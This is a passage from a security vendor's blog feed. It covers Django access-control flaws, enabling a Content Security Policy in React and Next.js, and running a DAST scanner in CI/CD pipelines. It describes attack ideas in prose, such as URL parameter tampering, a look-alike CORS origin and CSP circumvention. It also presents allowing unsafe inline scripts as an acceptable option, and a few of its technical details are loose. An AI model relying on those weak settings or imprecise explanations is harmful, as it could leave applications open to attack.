Token.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;CORS misconfiguration. &lt;/b&gt;This allows an unauthorized API to access business resources.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Without a doubt, access control exploitation impacts businesses negatively. It can lead to the disclosure of sensitive business data or the modification or destruction of business data, as well as allowing unauthorized users to perform actions they should not have access to or the right to perform. &lt;/p&gt;&lt;p&gt;As a result, different languages and frameworks deal with these five known access control flaws in different ways. It&amp;#39;s critical for developers to understand what access control is and how to manage access to application resources. &lt;/p&gt;&lt;p&gt;Fortunately, Django has made it possible to mitigate these security vulnerabilities. Next up, we&amp;#39;ll look at several examples of faulty access control and how to avoid them in the sections that follow. &lt;/p&gt;&lt;h2&gt;Manipulating Parameters to Alter Results&lt;/h2&gt;&lt;p&gt;Assume we have a URL like &lt;u&gt;https://example.com/accounts/details?id=123&amp;amp;access_key=abcdefg&amp;amp;access_secret=opensecret&lt;/u&gt;. An attacker may change the URL parameters such as the &lt;b&gt;ID&lt;/b&gt;, &lt;b&gt;ACCESS KEY&lt;/b&gt;, and &lt;b&gt;ACCESS SECRET&lt;/b&gt; to anything malicious, giving them access to account information. &lt;/p&gt;&lt;p&gt;Validation and verification of requests should be in place to avoid such a scenario. For example, verify the user attempting to perform such actions as well as validating the request data and the requesting user access credentials. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Also, it&amp;#39;s a good idea to use more difficult-to-enumerate references. Usually, randomly generated strings are recommended as reference identifiers rather than predictable auto-incremental integers. With this in mind, the user needs authorization for requesting data before the server provides it. &lt;/p&gt;&lt;h2&gt;Changes to the Key Identifiers&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s say we have a URL like &lt;u&gt;https://example.com&lt;/u&gt;, and regular users can only sign up, log in, and add and update their own biodata. Assume you can get the user biodata at &lt;u&gt;https://example.com/accounts/profile/&amp;lt;ID&amp;gt;/&lt;/u&gt; by replacing the ID. An attacker can access this route by manually entering it into the browser because this endpoint is not accessible to any user as a button. &lt;/p&gt;&lt;p&gt;Assume the attacker inputs the address manually in the example above: &lt;u&gt;https://example.com/accounts/profile/2/&lt;/u&gt;. If the attacker succeeds in modifying User 2 data regardless of not being authenticated as User 2, the attacker has acquired undesired authorization to perform actions as User 2. &lt;/p&gt;&lt;p&gt;In order to deal with this situation, we need role-based permissions and object-level permissions so that authorization can be verified between the authorized user and the requested object resource.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In this case, we imposed data ownership on the &lt;b&gt;Profile&lt;/b&gt; object to prohibit others from obtaining the profile data. The profile resource object is returned if both the requesting user and the profile owner are authenticated; otherwise, the page returns a 403 HTTPS status code. Third-party packages like &lt;a href=&quot;https://github.com/django-guardian/django-guardian&quot;&gt;&lt;u&gt;django-guardian&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://github.com/dfunckt/django-rules&quot;&gt;&lt;u&gt;django-rules&lt;/u&gt;&lt;/a&gt; are designed to address views and object-level authorization. &lt;/p&gt;&lt;h2&gt;CORS Misconfiguration&lt;/h2&gt;&lt;p&gt;Cross-origin resource sharing (CORS) is an HTTP-based mechanism that lets a server specify domains, ports, or schemes from which a browser can obtain resources. For example, if the CORS configuration on our Django application is set to True for all requests from &lt;u&gt;example.com&lt;/u&gt;, our Django application will be vulnerable. Because alternative HTTP methods are allowed, an attacker may use &lt;i&gt;https://example.com.chicken.wings&lt;/i&gt;, which is acceptable because CORS permits origin headers with &lt;u&gt;example.com&lt;/u&gt;. An attacker might use this vulnerability to impersonate a user and get access to sensitive information. &lt;/p&gt;&lt;p&gt;To rectify this situation, hence, we probably shouldn&amp;#39;t set the following: &lt;/p&gt;&lt;p&gt;&lt;code&gt;CORS_ORIGIN_ALLOW_ALL = True&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Rather, we generally should deny all CORS origins and provide an allowlist of CORS origins: &lt;/p&gt;&lt;p&gt;&lt;code&gt;CORS_ORIGIN_ALLOW_ALL = False&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;CORS_ORIGIN_WHITELIST = (
    &amp;quot;https://example.com&amp;quot;,
)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;A Django third-party package like &lt;a href=&quot;https://pypi.org/project/django-cors-headers/&quot;&gt;&lt;u&gt;django-cors-headers&lt;/u&gt;&lt;/a&gt; is recommended for CORS configuration. &lt;/p&gt;&lt;h2&gt;Metadata Manipulation&lt;/h2&gt;&lt;p&gt;Consider a case in which we place our Django application&amp;#39;s source code in the server&amp;#39;s public file directory. Perhaps we left some metadata exposed in our code, such as remote addresses or information from third-party cloud providers. An attacker can gain access to our application by altering this sensitive metadata. &lt;/p&gt;&lt;p&gt;With this intention, one of the ways to mitigate this is to avoid exposing sensitive data by setting the &lt;b&gt;DEBUG&lt;/b&gt; option in our &lt;b&gt;settings.py&lt;/b&gt; file to False. &lt;/p&gt;&lt;p&gt;&lt;code&gt;DEBUG=False&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Also, we should use environment variables rather than hardcoding sensitive data. Third-party packages such as &lt;a href=&quot;https://pypi.python.org/pypi/python-decouple&quot;&gt;&lt;u&gt;django-decouple&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://github.com/jpadilla/django-dotenv&quot;&gt;&lt;u&gt;django-dotenv&lt;/u&gt;&lt;/a&gt; are designed for this specific purpose. &lt;/p&gt;&lt;p&gt;&lt;code&gt;CLOUD_ACCESS_KEY = xxxxxxxxxxxx   # use environment variables
CLOUD_ACCESS_KEY = &amp;quot;this-is-a-hard-coded-value&amp;quot;  # Do not hard code values like this&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Subsequently, when sending error logs via emails to our Django application admins, we should use the Django &lt;a href=&quot;https://docs.djangoproject.com/en/3.2/howto/error-reporting/#django.views.decorators.debug.sensitive_variables&quot;&gt;&lt;u&gt;&lt;b&gt;sensitive_variables()&lt;/b&gt;&lt;/u&gt;&lt;/a&gt;&lt;b&gt; &lt;/b&gt;decorator to hide data that may be sensitive. Let&amp;#39;s see an example: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Also, we should prevent our server hosting the Django application from listing directories or paths in production. This is to prevent attackers from traversing directories for unauthorized file access. &lt;/p&gt;&lt;h2&gt;Rate Limitation and Access Checks&lt;/h2&gt;&lt;p&gt;One of the ways attackers pinpoint vulnerabilities in a system is by sending lots of requests to the application. Suppose our Django application doesn&amp;#39;t have throttling implemented; then an attacker can send thousands of requests to our &lt;u&gt;https://example.com/accounts/profiles/&amp;lt;ID&amp;gt;/&lt;/u&gt; API endpoint, for example. This attacker can try different passwords, typically using brute force to guess a user ID that they can then use for other malicious activities. &lt;/p&gt;&lt;p&gt;Rate limiting or throttling is a way to limit the number of requests a user can send to an application. We can implement rate limiting on our Django REST framework application to help minimize the impact of automated attack tools. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Third-party packages for rate limiting are &lt;a href=&quot;https://django-ratelimit.readthedocs.io/en/v3.0.1/usage.html&quot;&gt;&lt;u&gt;django-ratelimit&lt;/u&gt;&lt;/a&gt;, &lt;a href=&quot;https://github.com/sobotklp/django-throttle-requests&quot;&gt;&lt;u&gt;django-throttle-requests&lt;/u&gt;&lt;/a&gt;, and &lt;a href=&quot;https://github.com/kencochrane/django-defender&quot;&gt;&lt;u&gt;django-defender&lt;/u&gt;&lt;/a&gt;. Accessing every URL resource in our application should involve validating the user and confirming that the user can perform the requested actions on the application resource. This is important to avoid mistakenly permitting a user who shouldn&amp;#39;t have access to said resources. &lt;/p&gt;&lt;p&gt;As a matter of fact, deny all permissions and encourage the use of the principle of least privilege access. One of the ways we can counter these attacks is by always implementing server-side authentication and authorization. The first thing to remember is that we should never trust user data or any information coming from the browser. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Security, Security, Security&lt;/h2&gt;&lt;p&gt;As we&amp;#39;ve seen, attackers are always looking for new ways to find or create vulnerabilities in a system. For the same reason, we need to preserve the integrity and security of our users&amp;#39; data. Security is as important as writing readable code. &lt;/p&gt;&lt;p&gt;In conclusion, building Django applications with better access-level control is essential to preventing security breaches. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Ifenna Okoye. &lt;/i&gt;&lt;a href=&quot;https://ifenna.hashnode.dev&quot;&gt;&lt;i&gt;Ifenna&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a software developer with a particular interest in backend technologies including Python and Node.js.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[React Content Security Policy Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/react-content-security-policy-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In this post, we&amp;#39;re going to cover content security policy, or CSP, in React. First we&amp;#39;ll have a brief overview of CSP—what is it good for anyway? Then we&amp;#39;ll show you a few ways to enable CSP in React. React has a rich ecosystem that includes several frameworks and hosting platforms, and we can only cover a few of them here, but you&amp;#39;ll get the idea. Last, there are a few caveats to be aware of, including some specific to React. Pay special attention to these. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s start with some basics. &lt;/p&gt;&lt;h2&gt;What Is CSP?&lt;/h2&gt;&lt;p&gt;A content security policy (CSP) protects web users from injected content. The policy is defined in page headers and is honored by all the major modern web browsers. The content security policy itself describes the content and sources of content that are allowed on a given web site or page. All other content is blocked by the browser. Let&amp;#39;s look at an example of blocked content to make the example more clear. &lt;/p&gt;&lt;p&gt;The simple React page below has a content security policy that implicitly disallows content from wikimedia.com. &lt;/p&gt;&lt;p&gt;As you can see, the image is not rendered. The content security policy blocks it. The policy for this page only allows content from the host, the source, and one other domain (for loading React development scripts). The image itself is blocked by the browser. You can see this in the network tab of DevTools in Chrome. &lt;/p&gt;&lt;h2&gt;How to Enable Content Security Policy in React&lt;/h2&gt;&lt;p&gt;You can enable a CSP in two different ways in a React app. The first is to add the headers directly to the response. The second is to add meta tags to the content. Note that meta tags aren&amp;#39;t supported for some security headers, such as &lt;a href=&quot;https://www.stackhawk.com/blog/react-http-strict-transport-security-guide-what-it-is-and-how-to-enable-it/&quot;&gt;&lt;u&gt;HSTS&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;It&amp;#39;s good to know that you have options. Let&amp;#39;s explore them, starting with a basic React app and ending with options for applying a CSP policy on the server. &lt;/p&gt;&lt;h3&gt;ReactJS&lt;/h3&gt;&lt;p&gt;If you need to control a CSP using React code only, you&amp;#39;re going to be using meta tags. Meta tags go in the head of the html document. Here&amp;#39;s a basic example of how to accomplish this on the index page: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The meta tag contains the content security policy. Browsers read and interpret meta tags in the head before processing the body. Still, you may also have content such as scripts and CSS that are loaded in the head. &lt;/p&gt;&lt;p&gt;Order is important! If you want to apply the CSP to all the scripts that are loaded initially, put this meta tag before script or style tags. Alternatively, you could place the meta tag after scripts and style tags to avoid adding complexity to the CSP. Of course, doing so will diminish the effectiveness of the security mechanism. &lt;/p&gt;&lt;p&gt;There is an npm package named &lt;a href=&quot;https://www.npmjs.com/package/react-csp&quot;&gt;&lt;u&gt;react-csp&lt;/u&gt;&lt;/a&gt; to help apply CSP to React apps, but it is of limited value compared with other options. The &lt;b&gt;react-csp&lt;/b&gt; package simply adds syntactic sugar to how you add the CSP meta tag to the head. It does all the formatting too. There is certainly value in using it to create a meta tag as you get used to the syntax. To continue using it, however, you have to add another CLI command to your build script. &lt;/p&gt;&lt;p&gt;If you create a CSP in a pure React app, you&amp;#39;ll need to keep track of everything. It would be much better to have more granular control. Next.js or some other SSR can give you that. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s take a look at how to add CSP in Next.js. &lt;/p&gt;&lt;h3&gt;Next.js&lt;/h3&gt;&lt;p&gt;Next.js gives you more options for adding a CSP to your React app. Since Next.js renders the React app on the server prior to delivering it to the client, it can be more dynamic. Remember, delivering the CSP via meta tags only works when the meta tags are in the head of the document. If you put them in the body, you&amp;#39;ll get an error that looks a bit like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;The Content Security Policy &amp;#39;img-src upload.wikimedia.org&amp;#39; was 
delivered via a &amp;lt;meta&amp;gt; element outside the document&amp;#39;s &amp;lt;head&amp;gt;, 
which is disallowed. The policy has been ignored.&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;So let&amp;#39;s take a look at some options that will allow you to set your policy headers more dynamically. &lt;/p&gt;&lt;h3&gt;Add CSP Headers in Your next.config.js&lt;/h3&gt;&lt;p&gt;Until now, we&amp;#39;ve been looking at enabling CSP via meta tags. Now you&amp;#39;re going to see how to add the policy in response headers. The way to tackle this in Next.js is to set the headers in the config file. The &lt;a href=&quot;https://nextjs.org/docs/api-reference/next.config.js/introduction&quot;&gt;&lt;u&gt;next.config.js&lt;/u&gt;&lt;/a&gt; file is a normal JavaScript file that controls several aspects of how Next.js behaves. One such option is to add response headers per page. Here&amp;#39;s an example of what this configuration might look like: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This configuration will only apply the policy to the root of the site. It doesn&amp;#39;t allow for common glob patterns or typical regex syntax. &lt;/p&gt;&lt;h3&gt;Add Meta Tags Using next/head&lt;/h3&gt;&lt;p&gt;You could add a CSP in meta tags using the Next.js built-in Head component. It&amp;#39;s commonly used to update the page title and other page metadata. To add a CSP using this component, simply import it from next/head and use it as follows: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This snippet will append a CSP to the head of the page. It will not overwrite or override existing policies. Speaking of adding policies, they only become more restrictive as you add more. In other words, they stack. A policy can never override a previous policy. This is important to keep in mind when using next/head to add CSP policies. &lt;/p&gt;&lt;h3&gt;Add a CSP Using next-strict-csp&lt;/h3&gt;&lt;p&gt;Of course there&amp;#39;s an npm package for working with CSP in Next.js as well. This option gives you two added benefits. One is a component that extends the Head component mentioned above. The NextStrictCSP component will automatically add your page scripts to the CSP. The second benefit is how it deals with inline scripts. It automatically adds those as well. &lt;/p&gt;&lt;p&gt;See, inline scripts have to be dealt with in a special way in CSP. And &lt;a href=&quot;https://www.npmjs.com/package/next-strict-csp&quot;&gt;&lt;u&gt;next-strict-csp&lt;/u&gt;&lt;/a&gt; handles them quite nicely but without giving you much control over the options. Alas, it also appears that it&amp;#39;s still in the early stages of development and has not yet dealt with issues such as inline styles and other types of content covered in CSP. Still, it could be a useful tool to have in mind. &lt;/p&gt;&lt;h2&gt;Web Server&lt;/h2&gt;&lt;p&gt;You could also set your CSP headers via the web server. This won&amp;#39;t always be an option and may not even be the best option, but it&amp;#39;s possible. For example, an NGINX server can set response headers at the http, server, and location levels. This gives you some flexibility to set different policies for different contexts. It does not, however, make it easy to alter the policy along with the code. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s say, for example, that you added a new script source from a third-party provider. In that case you would also need to update your CSP to allow the script to load. To do that, you&amp;#39;d have to update the NGINX configuration, deploy it, and restart the NGINX process. Going through those steps might not be your best option. Still, it&amp;#39;s good to know the option exists. &lt;/p&gt;&lt;h2&gt;Gotchas&lt;/h2&gt;&lt;p&gt;React apps can often produce inline scripts. When you have a CSP enabled, this can cause problems because it will block your scripts from running unless you do something about it. There are a few options, depending on your use case. Here they are, from least to most secure: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Allow unsafe and inline scripts in your CSP for script-src types.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use nonces for your inline scripts (easier said than done).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use hash algorithms for your inline scripts (easier said than done as well).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Don&amp;#39;t use inline scripts or a CSS. INLINE_RUNTIME_CHUNK = false&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;From a practical standpoint, the first and last are the most reasonable. The latter takes a bit of work. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s walk through a couple possibilities of how a CSP might be circumvented. &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;A script that loads before the meta tag might place unwanted content prior to a CSP meta tag.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;A third party between the user agent and the server might be able to add or remove tags or headers prior to delivering the response.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Overly permissive policies might leave the page unprotected from nefarious content.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Additionally, Google Research published &lt;a href=&quot;https://research.google/pubs/pub45542/&quot;&gt;&lt;u&gt;a document&lt;/u&gt;&lt;/a&gt; in 2016 outlining concerns with CSP. Their research indicated that over 99 percent of web pages that used a CSP were still vulnerable to cross-site scripting (XSS) by other means of circumvention. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Final Thoughts&lt;/h2&gt;&lt;p&gt;A CSP is one of several security controls for the web. As you&amp;#39;ve seen, it&amp;#39;s somewhat complex to manage, and it can be thwarted. Do implement a CSP, but take the time to make sure you have a good understanding of the policy as a whole.  &lt;/p&gt;&lt;p&gt;This post described some methods and tools for implementing a content security policy, but it&amp;#39;s not possible to cover all the nuances you may encounter. You&amp;#39;ll inevitably encounter some edge cases, but hopefully you&amp;#39;ve learned enough here to deal with them as they arise. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Phil Vuollet. Phil leads software engineers on the path to high levels of productivity. He writes about topics relevant to technology and business, occasionally gives talks on the same topics, and is a family man who enjoys playing soccer and board games with his children.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Running StackHawk in CI/CD]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/running-stackhawk-in-cicd</guid><category><![CDATA[Scanning with StackHawk]]></category><category><![CDATA[Automating Security in CI/CD]]></category><dc:creator><![CDATA[April Conger]]></dc:creator><content:encoded>&lt;p&gt;StackHawk makes the best dynamic application security test (DAST) scanner on the market today. In order to tap its full potential, you need to run it frequently as an integral part of your continuous delivery process. That way, you can stay on top of new security bugs while they are a small matter, and before they ever reach production.&lt;/p&gt;&lt;p&gt;But what does it mean to run StackHawk in continuous delivery? What does continuous delivery even mean? Where does StackHawk fit in? Won’t it slow down our delivery process? Couldn’t we just schedule it? What if our app is a giant monolith? What if we run microservices in Kubernetes? The purpose of this article is to demystify all of the above.&lt;/p&gt;&lt;h1&gt;What is CI/CD?&lt;/h1&gt;&lt;p&gt;CI/CD refers to all of the automated processes that occur between a software engineer checking in changes to a software product codebase, to that same product being released in production and serving customer needs. Basically, it&amp;#39;s a series of scripts that check out a new revision of code, compile it, test it, perhaps make it available for humans to test, and finally deploy it to production.&lt;/p&gt;&lt;h2&gt;Glossary of Terms&lt;/h2&gt;&lt;p&gt;&lt;b&gt;Continuous Integration (CI)&lt;/b&gt;: Merging code changes at least daily, and preferably multiple times a day. CI requires running automated tests against the code, and building it, to ensure that new changes do not break the build.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Continuous Delivery (CD)&lt;/b&gt;: Taking the results of CI and packaging the software into a state that is ready for deployment to production. The packaging may take the form of Java archives (jars), NPM packages, Docker containers, and so forth. Continuous delivery implies trust in the CI process to produce working software, but not so much trust that you are ready to deploy to production without human intervention.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Continuous Deployment (Also CD)&lt;/b&gt;: Taking the software artifacts from continuous delivery and automatically deploying them to production without human intervention. Continuous deployment implies a high degree of trust in your automated testing.&lt;/p&gt;&lt;h2&gt;Tools of the Trade&lt;/h2&gt;&lt;p&gt;There are many excellent CI and CD tools to choose from today. Here are just a few popular ones you may recognize.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Jenkins&lt;/b&gt;: A classic CI/CD system that makes it easy for developers to put together build, test, and deployment routines. Jenkins features a rich plugin ecosystem to handle specialized tasks such as publishing software artifacts, running unit tests, and deploying to various environments.&lt;/p&gt;&lt;p&gt;&lt;b&gt;CircleCI&lt;/b&gt;: A modern CI/CD system with YAML configuration. CircleCI is designed to be easy for developers to learn and use, and it can automatically discover new workflows when you add them to your repository.&lt;/p&gt;&lt;p&gt;&lt;b&gt;GitHub Actions&lt;/b&gt;: A simple but powerful CI system built into GitHub.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Spinnaker&lt;/b&gt;: A continuous deployment tool specifically designed for rolling out Kubernetes workloads.&lt;/p&gt;&lt;p&gt;&lt;b&gt;ArgoCD&lt;/b&gt;: A modern continuous deployment tool for Kubernetes that implements GitOps, so that what you have in production is entirely defined by what you have specified in your git repository.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Tekton&lt;/b&gt;: A modern CI system that is entirely Kubernetes-native, with workflows and build pipelines defined as Kubernetes objects.&lt;/p&gt;&lt;p&gt;&lt;b&gt;AWS, Azure, and GCP&lt;/b&gt;: All of the major cloud service providers have their own CI/CD offerings.&lt;/p&gt;&lt;h1&gt;Where Does StackHawk Fit In?&lt;/h1&gt;&lt;p&gt;We are often asked what the &lt;i&gt;best&lt;/i&gt; way to run HawkScan is. And our answer is simple - &lt;b&gt;run it on every pull request (PR)&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;When an engineer opens a PR to the main branch of their git repository, it signals her intent that the code should be tested, merged, and delivered into production. This is the perfect time to run HawkScan, along with all of the other tests that must succeed before the code is accepted.&lt;/p&gt;&lt;p&gt;If your development process includes long-lived staging branches where updates are collected before merging to the main branch, you should run tests there as well. You want to test often enough that you catch new security bugs quickly, while the developers have those recent code changes fresh in mind.&lt;/p&gt;&lt;p&gt;Should you run HawkScan against your production environment too? The answer is no. You should not scan in production. You want to catch bugs before they reach production. And scanning in production can be hazardous, since DAST probes are aggressive, and often attempt to manipulate data.&lt;/p&gt;&lt;h2&gt;Common Challenges with DAST Scanning&lt;/h2&gt;&lt;p&gt;People familiar with DAST may have hesitations about putting it into their build pipeline. Historically, DAST scanners have been unwieldy beasts, built to test applications in production, and manually operated by skilled specialists. At StackHawk, we built our scanner without the production bias, and we have architected our scanner for ease of automation by developers.&lt;/p&gt;&lt;p&gt;DAST tools also have a reputation for mucking with your data, and taking too long to perform scans. These can be concerns for StackHawk DAST as well. But they are easy to understand and work with. In fact, we think these issues make DAST scanning in the build pipeline even more compelling than the old ways. So let’s look at these issues more closely.&lt;/p&gt;&lt;h3&gt;Data Consistency&lt;/h3&gt;&lt;p&gt;When it runs, HawkScan attempts a number of probes against the application it is testing. It analyzes the results of these probes to determine if specific types of vulnerabilities may be present. Many of these probes attempt to change data by creating, updating, and deleting items.&lt;/p&gt;&lt;p&gt;In order to have consistent tests from one run to another, you need to start with a consistent set of data. So in your test environment, you should use database snapshots and/or seed data to reset your databases to a known good starting point before running a scan. Engineering teams often already have a process like this in place for running integration tests.&lt;/p&gt;&lt;h3&gt;Long Scan Times&lt;/h3&gt;&lt;p&gt;Long scans can have many causes, but most are solvable. They usually come down to one of the following.&lt;/p&gt;&lt;p&gt;&lt;b&gt;High network latency.&lt;/b&gt; Any increase in latency between the scanner and application will add up to large delays as HawkScan waits for responses to each of its test requests. Run your scan as close to the application as possible. Avoid extra hops through firewalls, routers, proxies, and VPNs. Ideally, you want to run the scan on the same network, or in the same Kubernetes cluster, or even on the same host as your application.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Excess static content.&lt;/b&gt; Every route in your application adds a little more time to a scan. You don’t need to scan the static content on your web server or CDN. Focus your scan on your dynamic application routes. Use &lt;code&gt;app.excludePaths&lt;/code&gt; to filter out static content paths. For traditional web apps, this can add up to big time savings.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Configuration. &lt;/b&gt;HawkScan has many tunable parameters to help you speed up your scan. You can set &lt;a href=&quot;https://docs.stackhawk.com/web-app/tech-flags.html&quot;&gt;&lt;u&gt;tech flags&lt;/u&gt;&lt;/a&gt; to reduce the number of irrelevant tests. You can enable &lt;code&gt;app.autoInputVectors&lt;/code&gt; (&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/#app&quot;&gt;&lt;u&gt;see the docs&lt;/u&gt;&lt;/a&gt;) to optimize inputs for REST and GraphQL apps. And you can enable &lt;code&gt;app.autoPolicy&lt;/code&gt; to further optimize policies for OpenAPI, GraphQL, and SOAP apps.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Giant monolithic apps.&lt;/b&gt; Some apps are just very large, and have a lot of routes. And some apps have performance issues that further increase scan times. For these types of applications, it can be helpful to break the scan down into smaller chunks that can be run in parallel. Use &lt;code&gt;app.excludePaths&lt;/code&gt; and &lt;code&gt;app.includePaths&lt;/code&gt; to divide and conquer.&lt;/p&gt;&lt;h2&gt;Common Patterns for Success with StackHawk&lt;/h2&gt;&lt;p&gt;So we have talked about what CI/CD is, and what some of the challenges are with DAST scanning in general. What are some methods other companies have used to successfully incorporate DAST into their continuous delivery processes?&lt;/p&gt;&lt;h3&gt;Ephemeral Test Environments&lt;/h3&gt;&lt;p&gt;Engineering teams often use ephemeral test environments for running system integration tests against their running application or applications. This could be as simple as starting the application on the build host in the CI pipeline, or more elaborate, like a Docker Compose assembly of the app and some of its supporting services. It could even be an isolated set of microservices in a Kubernetes cluster.&lt;/p&gt;&lt;p&gt;This is a great environment to run HawkScan against, since all components come up fresh in a known working state. For best results, make sure your databases come up with fresh &lt;a href=&quot;https://en.wikipedia.org/wiki/Database_seeding&quot;&gt;&lt;u&gt;seed data&lt;/u&gt;&lt;/a&gt; as well.&lt;/p&gt;&lt;h3&gt;Standing Test Environments&lt;/h3&gt;&lt;p&gt;Many companies have a standing “test,” “QA,” “staging,” or “pre-production” environment in which to run their software before pushing it into production. This is a great environment for automated HawkScan tests too, especially if you can reset the state of any data stores before beginning a scan using snapshots or database seeding.&lt;/p&gt;&lt;h3&gt;Failure Threshold a.k.a. Break the Build&lt;/h3&gt;&lt;p&gt;By default, HawkScan will not throw an error if it finds potential security issues, so it won’t break your build pipeline. But you can set a failure threshold using &lt;code&gt;hawk.failureThreshold&lt;/code&gt; to enable this behavior. If HawkScan finds an issue that meets or exceeds the failure threshold you set, it will throw an error and break the build. If you triage that issue by marking it false positive, accepted, or assigned to an engineer, then it will no longer block on future scans. This makes it safe to block your builds for awareness of new issues, but keep your team moving forward with a simple triage action.&lt;/p&gt;&lt;h3&gt;Asynchronous Scanning&lt;/h3&gt;&lt;p&gt;Many CI/CD systems allow several functions to run concurrently, or asynchronously. This can be a great way to speed up the complete build process, while still allowing you to run a thorough set of tests. For example, when a developer creates a pull request for an application, the pipeline to build and test the application might be constructed like so:&lt;/p&gt;&lt;p&gt;As you can see, several test phases run in parallel. They can run on separate machines or build agents using the same compiled code created in the initial build step. If all of these test phases complete successfully, the pipeline packages and deploys the application. If any one of the test phases fails, the pipeline fails, and the application is not deployed.&lt;/p&gt;&lt;h3&gt;Schedule Scans&lt;/h3&gt;&lt;p&gt;Every CI/CD system we know of has a scheduling feature, including &lt;a href=&quot;https://www.baeldung.com/ops/jenkins-job-schedule&quot;&gt;&lt;u&gt;Jenkins&lt;/u&gt;&lt;/a&gt;, &lt;a href=&quot;https://circleci.com/docs/2.0/workflows/#scheduling-a-workflow&quot;&gt;&lt;u&gt;CircleCI&lt;/u&gt;&lt;/a&gt;, &lt;a href=&quot;https://docs.github.com/en/actions/learn-github-actions/events-that-trigger-workflows#schedule&quot;&gt;&lt;u&gt;GitHub Actions&lt;/u&gt;&lt;/a&gt;, and many more. We recommend using scheduled scans &lt;i&gt;in addition to &lt;/i&gt;scans on PR, especially for a codebase that does not change frequently. This can catch new vulnerabilities that are discovered, even when the code in question has not changed recently.&lt;/p&gt;&lt;h3&gt;Scanning in Kubernetes&lt;/h3&gt;&lt;p&gt;If your service runs in Kubernetes, and especially if your CI/CD runs in Kubernetes, you will want to run HawkScan as a &lt;a href=&quot;https://kubernetes.io/docs/concepts/workloads/controllers/job/&quot;&gt;&lt;u&gt;Kubernetes Job&lt;/u&gt;&lt;/a&gt;. In Kubernetes, you will want to configure the job to use the &lt;code&gt;stackhawk/hawkscan:latest&lt;/code&gt; Docker image, and it should mount your git repository using our &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/running-hawkscan.html#mounting-a-git-repository&quot;&gt;&lt;u&gt;git mounting&lt;/u&gt;&lt;/a&gt; feature.&lt;/p&gt;&lt;p&gt;See our Spinnaker Integration, which has a straightforward example of &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/spinnaker.html#stage-2-scan-miniapi-with-hawkscan&quot;&gt;&lt;u&gt;HawkScan running in Kubernetes&lt;/u&gt;&lt;/a&gt; as a job.&lt;/p&gt;&lt;h3&gt;Breaking Scans into Pieces &lt;/h3&gt;&lt;p&gt;For a particularly large scan, you should break it down into smaller pieces, and scan each piece asynchronously in your build pipeline as described above. If your app has an OpenAPI specification, and a GraphQL component, make each of those a separate scan. Use &lt;code&gt;app.includePaths&lt;/code&gt; and &lt;code&gt;app.excludePaths&lt;/code&gt; to filter out subsets of routes to scan, and scan those subsets concurrently. And if you have any static routes, such as static web pages, filter those out entirely and do not scan them!&lt;/p&gt;&lt;h3&gt;Optimizing Scans with Technology Flags&lt;/h3&gt;&lt;p&gt;Finally, you can use StackHawk &lt;a 